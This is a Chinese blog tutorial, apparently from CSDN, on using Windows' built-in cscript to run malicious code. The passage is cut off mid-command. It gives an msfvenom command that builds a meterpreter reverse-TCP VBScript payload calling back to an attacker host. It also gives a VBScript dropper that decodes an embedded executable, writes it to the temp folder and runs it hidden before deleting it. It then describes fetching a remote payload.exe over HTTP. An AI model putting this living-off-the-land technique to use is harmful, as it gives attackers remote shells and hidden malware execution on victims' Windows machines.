cscript 执行代码_在Windows上执行恶意代码 by cscript&mshta

Windows自带的可执行文件+合理构造的payload脚本=获得会话

cscript

简介

在cscript.exe来寻找和连接脚本的运行库,最常见的有VBScript和JavaScript。

WSH环境包括两个脚本宿主:基于控制台的CScript和基于GUI的WScript。这两个脚本宿主提供几乎相同的功能,在大多数情况下,使用哪个脚本宿主来运行脚本并不重要。

两个例外在于您如何与脚本交互; 也就是说,如何将信息输入脚本(输入)以及脚本如何显示已检索的信息(输出)。通常,CScript从命令提示符接收输入并在命令窗口中显示输出。相比之下,WScript通过图形对话框接收输入,并在图形消息框中显示输出。

实践

生成payload msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.138.142 LPORT=4444 -f vbs -o ./1.vbs,查看下生成的内容(限于篇幅略去,有个很长的字符串就是payload.exe)

有人翻译了一下,得到如下结果

shellcode = WScript.Arguments.Item(0)

strXML = "" & shellcode & ""

Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0")

oXMLDoc.LoadXML(strXML) decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue

set oXMLDoc = nothing

Dim fso

Set fso = CreateObject("Scripting.FileSystemObject")

Dim tempdir

Dim basedir

Set tempdir = fso.GetSpecialFolder(2)

basedir = tempdir & "\" & fso.GetTempName()

fso.CreateFolder(basedir)

tempexe = basedir & "\" & "test.exe"

Dim adodbstream

Set adodbstream = CreateObject("ADODB.Stream")

adodbstream.Type = 1

adodbstream.Open

adodbstream.Write decode

adodbstream.SaveToFile tempexe, 2

Dim wshell

Set wshell = CreateObject("Wscript.Shell")

wshell.run tempexe, 0, true

fso.DeleteFile(tempexe)

fso.DeleteFolder(basedir)

直接用echo的方式用一行命令往目标机上写入vbs文件,用^作为转义符。但是因为shellcode字符串太长了,cmd缓冲区不够用,于是改用MSXML2.XMLHTTP发起http请求获取远端payload.exe后再执行。

echo strFileURL &

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值